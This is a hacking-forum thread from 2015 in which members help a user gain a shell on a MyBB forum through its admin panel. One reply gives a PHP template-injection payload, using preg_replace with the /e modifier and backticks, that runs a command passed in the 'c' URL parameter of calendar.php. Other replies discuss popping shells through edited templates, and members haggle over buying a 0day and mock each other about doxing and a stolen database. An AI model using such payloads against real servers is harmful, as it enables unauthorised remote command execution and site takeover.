+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: who can shell mybb admin cp (/Thread-who-can-shell-mybb-admin-cp)
Pages:
1
2
RE: who can shell mybb admin cp - Eclipse - 01-29-2015
(01-29-2015, 12:10 AM)warstrike Wrote: says a security issue was found in the templete
Try obfuscation techniques?
RE: who can shell mybb admin cp - Yani - 02-12-2015
(01-29-2015, 12:10 AM)warstrike Wrote: says a security issue was found in the templete
Try this
Code:
{${echo @preg_replace("/(.+)/e",'`'.$_GET['c'].'`','dwm');}}calendar.php?c=ls
RE: who can shell mybb admin cp - warstrike - 02-12-2015
(02-12-2015, 03:47 AM)Yani Wrote: Try this
Code:{${echo @preg_replace("/(.+)/e",'`'.$_GET['c'].'`','dwm');}}
calendar.php?c=ls
security error thanks though ..
if someone wants to fuck with it a bit pm me for a 1.8.3 forum login
RE: who can shell mybb admin cp - dotcppfile - 02-13-2015
Everything you've been told in this thread won't work, all these methods are literally months even years old, mybb added security checks back in 1.6.x, not sure which version it was exactly and I can't look it up for you since I'm on mobile, anyways, the point is that these security checks can be turned off but on actual server side and as far as I know there is no public method for bypassing this, what you're looking for is an 0day in their security system or in the whole fuckin admin panel, stop wasting your time because I don't believe that anyone will share anything this valuable, good luck owning mybb by yourself mate.
RE: who can shell mybb admin cp - Kizaru - 02-13-2015
Which templates are you editing?
Last time I tried editing the misc template I was able to pop a shell.
RE: who can shell mybb admin cp - sAv - 02-13-2015
(02-13-2015, 10:30 AM)Kizaru Wrote: Which templates are you editing?
Last time I tried editing the misc template I was able to pop a shell.
RE: who can shell mybb admin cp - warstrike - 02-14-2015
(02-13-2015, 10:30 AM)Kizaru Wrote: Which templates are you editing?
Last time I tried editing the misc template I was able to pop a shell.
just tried all the misc teplates bro... no good
RE: who can shell mybb admin cp - Sky - 02-16-2015
There's no current public methods for the latest versions. And $80 or so (0.4 BTC) isn't going to buy you a method.
RE: who can shell mybb admin cp - warstrike - 02-17-2015
(02-16-2015, 07:08 PM)Sky Wrote: There's no current public methods for the latest versions. And $80 or so (0.4 BTC) isn't going to buy you a method.
haha... look whio it is.. sky that doxed boi that trys to sell malwarebytes db for $200 when everyone already has it...
RE: who can shell mybb admin cp - Sky - 02-17-2015
(02-17-2015, 10:38 AM)warstrike Wrote: haha... look whio it is.. sky that doxed boi that trys to sell malwarebytes db for $200 when everyone already has it...
Ohh noes I'm ddoxed don't hack me.
And oh really? Shame you don't, since you appear to be poor as fuck, offering 0.4 BTC for a MyBB 0day
